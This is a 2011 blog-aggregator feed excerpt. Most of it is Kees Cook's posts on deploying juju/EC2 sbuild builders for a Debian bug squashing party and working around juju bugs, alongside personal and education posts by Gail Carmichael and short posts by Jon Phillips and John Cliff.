&lt;p&gt;Initialize your &lt;a href=&quot;https://juju.ubuntu.com/docs/getting-started.html#configuring-your-environment&quot;&gt;juju environment&lt;/a&gt;. Be sure to add &amp;#8220;&lt;code&gt;juju-origin: ppa&lt;/code&gt;&amp;#8221; to your environment, along with filling in your &lt;code&gt;access-key&lt;/code&gt; and &lt;code&gt;secret-key&lt;/code&gt; from your Amazon AWS account. Note that &lt;code&gt;control-bucket&lt;/code&gt; and &lt;code&gt;admin-secret&lt;/code&gt; should not be used by any other environment or juju won&amp;#8217;t be able to distinguish them. &lt;a href=&quot;https://juju.ubuntu.com/docs/provider-configuration-ec2.html&quot;&gt;Other variables&lt;/a&gt; are good to set now too. I wanted my instances close to me, use I set &amp;#8220;&lt;code&gt;region: us-west-1&lt;/code&gt;&amp;#8220;. I also wanted a 64bit system, so using the &lt;a href=&quot;http://uec-images.ubuntu.com/query/oneiric/server/released.txt&quot;&gt;AMI list&lt;/a&gt;, I chose &amp;#8220;&lt;code&gt;default-series: oneiric&lt;/code&gt;&amp;#8220;, &amp;#8220;&lt;code&gt;default-instance-type: m1.large&lt;/code&gt;&amp;#8221; and &amp;#8220;&lt;code&gt;default-image-id: ami-7b772b3e&lt;/code&gt;&amp;#8221;&lt;/p&gt;
&lt;pre&gt;
juju
$EDITOR ~/.juju/environments.yaml
&lt;/pre&gt;
&lt;p&gt;Get my &lt;a href=&quot;https://code.launchpad.net/~kees/charm/oneiric/sbuild/trunk&quot;&gt;sbuild charm&lt;/a&gt;, and configure some types of builders. The &lt;code&gt;salt&lt;/code&gt; should be something used only for this party; it is used to generate the random passwords for the builder accounts. The &lt;code&gt;distro&lt;/code&gt; and &lt;code&gt;releases&lt;/code&gt; can be set to whatever the &lt;a href=&quot;http://wiki.debian.org/mk-sbuild&quot;&gt;mk-sbuild&lt;/a&gt; tool understands.&lt;/p&gt;
&lt;pre&gt;
bzr co lp:~kees/charm/oneiric/sbuild/trunk sbuild-charm
cat &amp;gt;local.yaml &amp;lt;&amp;lt;EOM
builder-debian:
    salt: some-secret-phrase-for-this-party
    distro: debian
    releases: unstable
builder-ubuntu:
    salt: some-secret-phrase-for-this-party
    distro: ubuntu
    releases: precise,oneiric
EOM
&lt;/pre&gt;
&lt;p&gt;Bootstrap juju and wait for ec2 instance to come up.&lt;/p&gt;
&lt;pre&gt;
juju bootstrap
&lt;/pre&gt;
&lt;p&gt; Before running the status, you can either accept the SSH key blindly, or use &amp;#8220;&lt;a href=&quot;http://manpages.ubuntu.com/ec2-describe-instances&quot;&gt;&lt;code&gt;ec2-describe-instances&lt;/code&gt;&lt;/a&gt;&amp;#8221; to find the instance and public host name, and use my &amp;#8220;&lt;code&gt;wait-for-ssh&lt;/code&gt;&amp;#8221; tool to inject the SSH host key into your &lt;code&gt;~/.ssh/known_hosts&lt;/code&gt; file. This requires having set up the environment variables needed by &amp;#8220;&lt;code&gt;ec2-describe-instances&lt;/code&gt;&amp;#8220;, though.&lt;/p&gt;
&lt;pre&gt;
ec2-describe-instances --region REGION
./sbuild-charm/wait-for-ssh INSTANCE HOST REGION
&lt;/pre&gt;
&lt;p&gt;Get status:&lt;/p&gt;
&lt;pre&gt;
juju status
&lt;/pre&gt;
&lt;p&gt;Deploy a builder:&lt;/p&gt;
&lt;pre&gt;
juju deploy --config local.yaml --repository $PWD local:sbuild-charm builder-debian
&lt;/pre&gt;
&lt;p&gt;Deploy more of the same type:&lt;/p&gt;
&lt;pre&gt;
juju add-unit builder-debian
juju add-unit builder-debian
juju add-unit builder-debian
&lt;/pre&gt;
&lt;p&gt;Now you have to wait for them to finish installing, which will take a while. Once they&amp;#8217;re at least partially up (the &amp;#8220;builder&amp;#8221; user has been created), you can print out the slips of paper to hand out to your party attendees:&lt;/p&gt;
&lt;pre&gt;
./sbuild-charm/slips | mpage -1 &gt; /tmp/slips.ps
ps2pdf /tmp/slips.ps /tmp/slips.pdf
&lt;/pre&gt;
&lt;p&gt;They look like this:&lt;/p&gt;
&lt;pre&gt;
Unit: builder-debian/3
Host: ec2-256-1-1-1.us-west-1.compute.amazonaws.com
SSH key fingerprints:
  1024 3e:f7:66:53:a9:e8:96:c7:27:36:71:ce:2a:cf:65:31 (DSA)
  256 53:a9:e8:96:c7:20:6f:8f:4a:de:b2:a3:b7:6b:34:f7 (ECDSA)
  2048 3b:29:99:20:6f:8f:4a:de:b2:a3:b7:6b:34:bc:7a:e3 (RSA)
Username: builder
Password: 68b329da9893
&lt;/pre&gt;
&lt;p&gt;To admin the machines, you can use juju itself, where N is the machine number from the &amp;#8220;&lt;code&gt;juju status&lt;/code&gt;&amp;#8221; output:&lt;/p&gt;
&lt;pre&gt;
juju ssh N
&lt;/pre&gt;
&lt;p&gt;To add additional chroots to the entire builder service, add them to the config:&lt;/p&gt;
&lt;pre&gt;
juju set builder-debian release=unstable,testing,stable
juju set builder-ubuntu release=precise,oneiric,lucid,natty
&lt;/pre&gt;
&lt;p&gt;Notes about some of the terrible security hacks this charm does:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;enables password-based SSH access (and locks the default &amp;#8220;ubuntu&amp;#8221; account), so party attendees don&amp;#8217;t need anything but the ssh client itself to get to the builders.&lt;/li&gt;
&lt;li&gt;starts &lt;code&gt;rngd -r /dev/urandom&lt;/code&gt; to create terrible but plentiful entropy for the sbuild GPG key generation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Enjoy!&lt;/p&gt;
&lt;p&gt;&amp;copy; 2011, &lt;a href=&quot;http://www.outflux.net/blog/&quot;&gt;Kees Cook&lt;/a&gt;. This work is licensed under a &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;Creative Commons Attribution-ShareAlike 3.0 License&lt;/a&gt;.&lt;br /&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; src=&quot;http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png&quot; /&gt;&lt;/a&gt; &lt;/p&gt;</content:encoded>
	<dc:date>2011-12-07T17:53:46+00:00</dc:date>
</item>
<item rdf:about="http://www.outflux.net/blog/?p=534">
	<title>Kees Cook: juju bug fixing</title>
	<link>http://www.outflux.net/blog/archives/2011/12/07/juju-bug-fixing/</link>
	<content:encoded>&lt;p&gt;My earlier &lt;a href=&quot;http://www.outflux.net/blog/archives/2011/12/05/ec2-instances-in-support-of-a-bsp/&quot;&gt;post on juju&lt;/a&gt; described a number of weird glitches I ran into. I got invited by hazmat on IRC (freenode &lt;code&gt;#juju&lt;/code&gt;) to try to reproduce the problems so we could isolate the trouble.&lt;/p&gt;
&lt;p&gt;Fix #1: use the version from the PPA. The &lt;a href=&quot;https://juju.ubuntu.com/docs/getting-started.html#configuring-your-environment&quot;&gt;juju setup documentation&lt;/a&gt; doesn&amp;#8217;t mention this, but it seems that adding &amp;#8220;&lt;code&gt;juju-origin: ppa&lt;/code&gt;&amp;#8221; to your &lt;code&gt;~/.juju/environment.yaml&lt;/code&gt; is a good idea. I suggest it be made the default, and to link to the full list of &lt;a href=&quot;https://juju.ubuntu.com/docs/provider-configuration-ec2.html&quot;&gt;legal syntax for the &lt;code&gt;environment.yaml&lt;/code&gt; file&lt;/a&gt;. I was not able to reproduce the missing-machines-at-startup problem after doing this, but perhaps it&amp;#8217;s a hard race to lose.&lt;/p&gt;
&lt;p&gt;Fix #2: don&amp;#8217;t use &amp;#8220;&lt;code&gt;terminate-machine&lt;/code&gt;&amp;#8220;. :P There seems to be a problem around doing the following series of commands: &amp;#8220;&lt;code&gt;juju remove-unit FOO/N; juju terminate-machine X; juju add-unit FOO&lt;/code&gt;&amp;#8220;. This makes the provisioner go crazy, and leaves all further attempts to add units stick in &amp;#8220;pending&amp;#8221; forever.&lt;/p&gt;
&lt;p&gt;Big thank you to hazmat and SpamapS for helping debug this.&lt;/p&gt;
&lt;p&gt;&amp;copy; 2011, &lt;a href=&quot;http://www.outflux.net/blog/&quot;&gt;Kees Cook&lt;/a&gt;. This work is licensed under a &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;Creative Commons Attribution-ShareAlike 3.0 License&lt;/a&gt;.&lt;br /&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; src=&quot;http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png&quot; /&gt;&lt;/a&gt; &lt;/p&gt;</content:encoded>
	<dc:date>2011-12-07T17:11:34+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-2646503801378173180">
	<title>Gail Carmichael: About to Get Nutty Around Here</title>
	<link>http://compscigail.blogspot.com/2011/12/about-to-get-nutty-around-here.html</link>
	<content:encoded>Things are about to get really nutty, and I expect I won't be able to post to the blog too much in the next 6-8 weeks (though I will still try to get some content here!).&amp;nbsp; So here's a quick update to keep you going.&lt;br /&gt;&lt;br /&gt;I've been trying to get as much done for school as possible before baby arrives, but there have been a few factors making this difficult.&amp;nbsp; The main thing is that baby is still in breech position, meaning its head is up instead of down where it should be.&amp;nbsp; Traditionally, this has meant an automatic c-section, which is something I desperately don't want for a number of complex reasons I can't fully articulate here.&amp;nbsp; Fortunately, safe, regular breech deliveries are starting to come back into fashion, and there is a chance that if baby doesn't turn in time I could still avoid the surgery.&lt;br /&gt;&lt;br /&gt;But, of course, the best outcome of all would be to get baby to turn and not have to make the tough decision on what to do when labour hits.&amp;nbsp; We've been trying a few things, from the &lt;a href=&quot;http://www.storknet.com/cubbies/childbirth/exsj3.htm&quot;&gt;Webster technique&lt;/a&gt; to various &lt;a href=&quot;http://spinningbabies.com/techniques/the-inversion&quot;&gt;inversions&lt;/a&gt;.&amp;nbsp; We even had an &lt;a href=&quot;http://en.wikipedia.org/wiki/External_cephalic_version&quot;&gt;ECV&lt;/a&gt; yesterday, where the doctor tries to manually turn the baby from the outside.&amp;nbsp; That was unsuccessful, but we are planning to try again next week and continuing doing everything we can, no matter how silly it seems.&lt;br /&gt;&lt;br /&gt;So that's going to be consuming my attention for the next little while.&amp;nbsp; I will still try to be optimistic about getting more done for school, but there may be a point I have to just throw in the towel.&amp;nbsp; I'd be disappointed, but ok with this.&amp;nbsp; You can only do what you can do, right?&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-2646503801378173180?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-12-07T14:10:57+00:00</dc:date>
</item>
<item rdf:about="http://rejon.org/?p=2511">
	<title>Jon Phillips: Creative Commons Website Rebuilt by Fabricatorz</title>
	<link>http://rejon.org/2011/12/creative-commons-website-rebuilt-by-fabricatorz/</link>
	<content:encoded>&lt;p&gt;Busy time indeed! I made a &lt;a href=&quot;http://fabricatorz.com/2011/12/fabricatorz-rebuild-creative-commons-web-presence-across-five-engines/&quot;&gt;blog post on Fab blog&lt;/a&gt; about the work we did in the fall to rebuild all of Creative Commons public websites. Here&amp;#8217;s a snippet:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;In early September, &lt;a href=&quot;http://fabricatorz.com&quot;&gt;Fabricatorz&lt;/a&gt; were contracted by &lt;a href=&quot;http://creativecommons.org/&quot;&gt;Creative Commons&lt;/a&gt; to redesign and launch an updated website design in time for the Creative Commons Summit and its fall fundraising campaign. Later we were to roll-out the same theme across their other major websites. That means we had to crank out in a short time a theme that could be simplified, controlled from one set of master files, and change quickly based upon regular direction from CC staff, while making sure everything works well across five web engines: &lt;a href=&quot;http://creativecommons.org/&quot;&gt;the main wordpress site&lt;/a&gt;, &lt;a href=&quot;http://creativecommons.net&quot;&gt;civicrm&lt;/a&gt;, the cc licensing engine, &lt;a href=&quot;http://wiki.creativecommons.org&quot;&gt;CC&amp;#8217;s Wiki&lt;/a&gt; and &lt;a href=&quot;http://search.creativecommons.org&quot;&gt;search.creativecommons.org&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://fabricatorz.com/wp-content/uploads/2011/12/Screenshot-cc-site.png&quot; rel=&quot;lightbox[2511]&quot;&gt;&lt;img src=&quot;http://fabricatorz.com/wp-content/uploads/2011/12/Screenshot-cc-site-500x312.png&quot; alt=&quot;Screenshot of Creative Commons Website&quot; title=&quot;Screenshot of Creative Commons Website&quot; width=&quot;500&quot; height=&quot;312&quot; class=&quot;alignnone size-medium wp-image-2832&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;</content:encoded>
	<dc:date>2011-12-06T18:59:45+00:00</dc:date>
</item>
<item rdf:about="http://www.outflux.net/blog/?p=527">
	<title>Kees Cook: EC2 instances in support of a BSP</title>
	<link>http://www.outflux.net/blog/archives/2011/12/05/ec2-instances-in-support-of-a-bsp/</link>
	<content:encoded>&lt;p&gt;On Sunday, I &lt;a href=&quot;http://www.outflux.net/blog/archives/2011/12/07/how-to-throw-an-ec2-party/&quot;&gt;brought up EC2 instances&lt;/a&gt; to support the combined &lt;a href=&quot;http://wiki.debian.org/BSP2011/Portland&quot;&gt;Debian Bug Squashing Party/Ubuntu Local Jam&lt;/a&gt; that took place at PuppetLabs in Portland, OR, USA. The intent was to provide each participant with their own &lt;a href=&quot;http://wiki.debian.org/mk-sbuild&quot;&gt;sbuild&lt;/a&gt; environment on a 64bit machine, since we were going to be working on &lt;a href=&quot;http://wiki.debian.org/ReleaseGoals/MultiArch&quot;&gt;Multi-Arch support&lt;/a&gt;, and having both 64bit and 32bit chroots would be helpful. The host was an Ubuntu 11.10 (Oneiric) instance so it would be possible to do SRU verifications in the cloud too.&lt;/p&gt;
&lt;p&gt;I was curious about the &lt;a href=&quot;http://juju.ubuntu.com/&quot;&gt;juju&lt;/a&gt; provisioning system, since it has an interesting plugin system, called &amp;#8220;charms&amp;#8221;, that can be used to build out services. I decided to write an &lt;a href=&quot;https://code.launchpad.net/~kees/charm/oneiric/sbuild/trunk&quot;&gt;sbuild charm&lt;/a&gt;, which was pretty straight forward and quite powerful (using this charm it would be possible to trigger the creation of new schroots across all instances at any time, etc).&lt;/p&gt;
&lt;p&gt;The juju service itself works really well when it works correctly. When something goes wrong, unfortunately, it becomes nearly impossible to debug or fix. Repeatedly while working on charm development, the provisioning system would lose its mind, and I&amp;#8217;d have to destroy the entire environment and re-bootstrap to get things running again. I had hoped this wouldn&amp;#8217;t be the case while I was using it during &amp;#8220;production&amp;#8221; on Sunday, but the provisioner broke spectacularly on Sunday too. Due to the fragility of the juju agents, it wasn&amp;#8217;t possible to restart the provisioner &amp;#8212; it lost its mind, the other agent&amp;#8217;s couldn&amp;#8217;t talk to it any more, etc. I would expect the master services on a cloud instance manager to be extremely robust since having it die would mean totally losing control of all your instances.&lt;/p&gt;
&lt;p&gt;On Sunday morning, I started 8 instances. 6 came up perfectly and were excellent work-horses all day at the BSP. 2 never came up. The EC2 instances started, but the service provisioner never noticed them. Adding new units didn&amp;#8217;t work (instances would start, but no services would notice them), and when I tried to remove the seemingly broken machines, the instance provisioner completely went crazy and started dumping Python traces into the logs (which seems to be related to &lt;a href=&quot;https://bugs.launchpad.net/juju/+bug/861928&quot;&gt;this bug&lt;/a&gt;, though some kind of race condition seems to have confused it much earlier than this total failure), and that was it. We used the instances we had, and I spent 3 hours trying to fix the provisioner, eventually giving up on it.&lt;/p&gt;
&lt;p&gt;I was very pleased with EC2 and Ubuntu Server itself on the instances. The schroots worked, sbuild worked (though I identified some additional things that the charm should likely do for setup). I think juju has a lot of potential, but I&amp;#8217;m surprised at how fragile it is. It didn&amp;#8217;t help that Amazon had rebooted the entire West Coast the day before and there were dead Ubuntu Archive Mirrors in the DNS rotation.&lt;/p&gt;
&lt;p&gt;For anyone else wanting to spin up builders in the cloud using juju, I have a &lt;a href=&quot;http://bazaar.launchpad.net/~kees/charm/oneiric/sbuild/trunk/view/head:/README&quot;&gt;run-down&lt;/a&gt; of what this looks like from the admin&amp;#8217;s perspective, and even include a little script to produce little slips of paper to hand out to attendees with an instance&amp;#8217;s hostname, ssh keys, and builder SSH password. Seemed to work pretty well overall; I just wish I could have spun up a few more. :)&lt;/p&gt;
&lt;p&gt;So, even with the fighting with juju and a few extra instances that came up and I had to shut down again without actually using them, the total cost to run the instances for the whole BSP was about US$40, and including the charm development time, about US$45.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: some more details on how to &lt;a href=&quot;http://www.outflux.net/blog/archives/2011/12/07/juju-bug-fixing/&quot;&gt;avoid the glitches&lt;/a&gt; I hit.&lt;/p&gt;
&lt;p&gt;&amp;copy; 2011, &lt;a href=&quot;http://www.outflux.net/blog/&quot;&gt;Kees Cook&lt;/a&gt;. This work is licensed under a &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;Creative Commons Attribution-ShareAlike 3.0 License&lt;/a&gt;.&lt;br /&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; src=&quot;http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png&quot; /&gt;&lt;/a&gt; &lt;/p&gt;</content:encoded>
	<dc:date>2011-12-06T00:05:17+00:00</dc:date>
</item>
<item rdf:about="http://www.outflux.net/blog/?p=522">
	<title>Kees Cook: PGP key photo viewing</title>
	<link>http://www.outflux.net/blog/archives/2011/12/05/pgp-key-photo-viewing/</link>
	<content:encoded>&lt;p&gt;Handy command line arguments for gpg:&lt;/p&gt;
&lt;pre&gt;gpg &lt;strong&gt;--list-options show-photos&lt;/strong&gt; --fingerprint 0xdc6dc026&lt;/pre&gt;
&lt;p&gt;This is nice to examine someone&amp;#8217;s PGP photo. You can also include it in &lt;code&gt;--verify-options&lt;/code&gt;, depending on how/when you want to see the photo (for example, when doing key signings).&lt;/p&gt;
&lt;p&gt;If gpg doesn&amp;#8217;t pick the right photo viewer, you can override it with &lt;code&gt;--photo-viewer 'eog %I'&lt;/code&gt; or similar.&lt;/p&gt;
&lt;p&gt;&amp;copy; 2011, &lt;a href=&quot;http://www.outflux.net/blog/&quot;&gt;Kees Cook&lt;/a&gt;. This work is licensed under a &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;Creative Commons Attribution-ShareAlike 3.0 License&lt;/a&gt;.&lt;br /&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; src=&quot;http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png&quot; /&gt;&lt;/a&gt; &lt;/p&gt;</content:encoded>
	<dc:date>2011-12-05T21:35:32+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-5043907665916845002">
	<title>Gail Carmichael: Who Knew Science and Dance Could Be So Closely Related?</title>
	<link>http://compscigail.blogspot.com/2011/12/who-knew-science-and-dance-could-be-so.html</link>
	<content:encoded>So often we think of the arts and science as opposites.&amp;nbsp; Many who are talented in one feel hopelessly lost in the other.&amp;nbsp; But the two are more related than it might seem, sometimes in the most unexpected ways...&lt;br /&gt;&lt;br /&gt;Take last year's Dance Your PhD contest winners from the chemistry department of my own school, Carleton University.&amp;nbsp; Their dance explains a technique called Systematic Evolution of Ligands by Exponential Enrichment (SELEX).&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;(&lt;a href=&quot;http://www.youtube.com/watch?v=M0liMfnVE-8&amp;feature=fvst&quot;&gt;Video link&lt;/a&gt;) &lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Or how about the series of videos that explain how sorting algorithms work? I've used these with great effect in my own introductory CS courses, and recall showing it during a TA workshop I attended, where some participants suddenly understood how quick sort worked as a result.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;(&lt;a href=&quot;http://www.youtube.com/watch?v=ywWBy6J5gz8&quot;&gt;Video link&lt;/a&gt;)&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;John Bohannon is the man behind the aforementioned Dance Your PhD contest.&amp;nbsp; He recently gave a talk at TEDxBrussels with a modest proposal.&amp;nbsp; He thinks that &quot;bad PowerPoint presentations are a serious threat against the global economy.&quot; (A man after my own heart!)&amp;nbsp; Instead of sitting around and wasting time being distracted by pretty pictures and too much data, we should use dance to explain challenging topics and issues.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&amp;amp;lt;p&amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;Video&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/p&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/p&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;/p&amp;amp;amp;amp;amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;(&lt;a href=&quot;http://youtu.be/UlDWRZ7IYqw&quot;&gt;Video link&lt;/a&gt;)&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;I think dance is just the start.&amp;nbsp; Art and science are both important and they could be connected in so many meaningful ways.&amp;nbsp; Let's get our thinking and creative caps on and see what we can come up with.&lt;br /&gt;&lt;!-- BEGIN BHBadge --&gt;&lt;div class=&quot;bhbadge&quot; id=&quot;bhbadge_Featured&quot;&gt;&lt;a href=&quot;http://www.blogher.com?from=bhfbadge&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://www.blogher.com/files/edbadge_Featured.jpg&quot; border=&quot;0&quot; alt=&quot;Featured on BlogHer.com&quot; title=&quot;Featured on BlogHer.com&quot; width=&quot;120&quot; height=&quot;100&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;!-- END BHBadge --&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-5043907665916845002?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-12-05T10:00:43+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-6177536793936858394">
	<title>Gail Carmichael: Gamifying College</title>
	<link>http://compscigail.blogspot.com/2011/11/gamifying-college.html</link>
	<content:encoded>Gamification is certainly a hot topic these days.&amp;nbsp; Jesse Schell opened Pandora's Box with his &lt;a href=&quot;http://fora.tv/2010/07/27/Jesse_Schell_Visions_of_the_Gamepocalypse&quot;&gt;Visions of the Gamepocalypse&lt;/a&gt; talk.&amp;nbsp; Sebastian Deterding discussed the &lt;a href=&quot;http://www.slideshare.net/dings/dont-play-games-with-me-promises-and-pitfalls-of-gameful-design&quot;&gt;promises and pitfalls of gamification&lt;/a&gt;.&amp;nbsp; Ian Bogost came right out and said that &lt;a href=&quot;http://www.bogost.com/blog/gamification_is_bullshit.shtml&quot;&gt;Gamification is Bullshit&lt;/a&gt;.&amp;nbsp; And yet, there are many who believe that gamifying education could be a very good thing.&lt;br /&gt;&lt;br /&gt;Take Extra Credits (now hosted on Penny Arcade) and &lt;a href=&quot;http://penny-arcade.com/patv/episode/gamifying-education&quot;&gt;their view of how we might gamify education&lt;/a&gt;.&amp;nbsp; They envision rewards systems that count up from zero rather than down from a perfect grade.&amp;nbsp; Perhaps the most interesting example of gamifying education so far, though, has been the charter school &lt;a href=&quot;http://q2l.org/&quot;&gt;Quest 2 Learn&lt;/a&gt;.&amp;nbsp; I was skeptical of how well the concept would be implemented at first, but the more I &lt;a href=&quot;http://vimeo.com/16633028&quot;&gt;learn about it&lt;/a&gt; the more impressed and excited I am.&lt;br /&gt;&lt;br /&gt;Enter the latest project I've encountered: &lt;a href=&quot;https://play.rit.edu/welcome&quot;&gt;Just Press Play&lt;/a&gt;.&amp;nbsp; I first learned about this initiative on the Microsoft Research Connections Blog (via Reddit, of all places), where Donald Brinkman posted an article called &lt;a href=&quot;http://blogs.msdn.com/b/msr_er/archive/2011/11/22/unlocking-academic-success-with-frame-games-for-learning.aspx&quot;&gt;Unlocking Academic Success with Frame Games for Learning&lt;/a&gt;.&amp;nbsp; As he describes the project:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;It began with a simple question: “Why can’t students earn digital rewards for being awesome?” A research group comprised of university faculty, staff, and students at the Rochester Institute of Technology (RIT) decided to find out. The team delved into the everyday travails of college life—from academia to social activities—and developed a real-world game, &lt;a href=&quot;http://play.rit.edu/&quot;&gt;Just Press Play&lt;/a&gt;, which helps students earn a digital reward for the ultimate achievement: collegiate success.&lt;/blockquote&gt;&lt;br /&gt;&lt;div&gt;&lt;a href=&quot;http://go.microsoft.com/fwlink/?LinkID=149156&amp;v=3.0.40818.0&quot;&gt;&lt;img src=&quot;http://go.microsoft.com/fwlink/?LinkId=108181&quot; alt=&quot;Get Microsoft Silverlight&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span&gt;(&lt;a href=&quot;http://research.microsoft.com/apps/video/default.aspx?id=156578&quot;&gt;Video link&lt;/a&gt;)&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Again, at first glance, it's easy to worry that this is just another one of those gimmicky projects doomed to failure.&amp;nbsp; But to be honest, I don't think this is going to be the case.&amp;nbsp; &lt;a href=&quot;http://www.slideshare.net/mamamusings/just-press-play-a-gaming-layer-for-student-success&quot;&gt;Check out the slides&lt;/a&gt; for a presentation made at the 2011 Games in Education conference about the project (be sure to click on the Speaker Notes tab under the slides).&amp;nbsp; There are definitely hints in there that suggest a &lt;i&gt;lot&lt;/i&gt; more thought has gone into this project than what a typical marketing team has probably done for their commercial gamification projects.&amp;nbsp; For instance, it's clear they recognize that intrinsic rewards are much more sustainable than extrinsic ones, and want to harness that.&lt;br /&gt;&lt;br /&gt;This is something I'm definitely going to watch. I like the fact that it's for college students rather than the usual K-12 audience and am intrigued to see how much more the students engage with all aspects of college life.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-6177536793936858394?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-11-29T11:06:43+00:00</dc:date>
</item>
<item rdf:about="http://simarilius.wordpress.com/2011/11/25/how-can-someone-get-it-so-wrong/">
	<title>John Cliff: simarilius</title>
	<link>http://simarilius.wordpress.com/2011/11/25/how-can-someone-get-it-so-wrong/</link>
	<content:encoded>&lt;p&gt;Been playing NFS:The Run, and have found myself shouting at the tv in frustration, how did they take such a good concept and screw it up so badly? A coast to coast canonball style run in super cars. 3000 odd miles of non stop racing. Sounds great! Except its not. Its not non-stop and its not 3000 miles. It stops every 5 minutes or so as the race is broken up into a zillion stages. Just as you get in a groove and its stage over, heres a bunch of pointless achievements and now you can hit A twice to wait through a load screen to carry on. &lt;/p&gt;
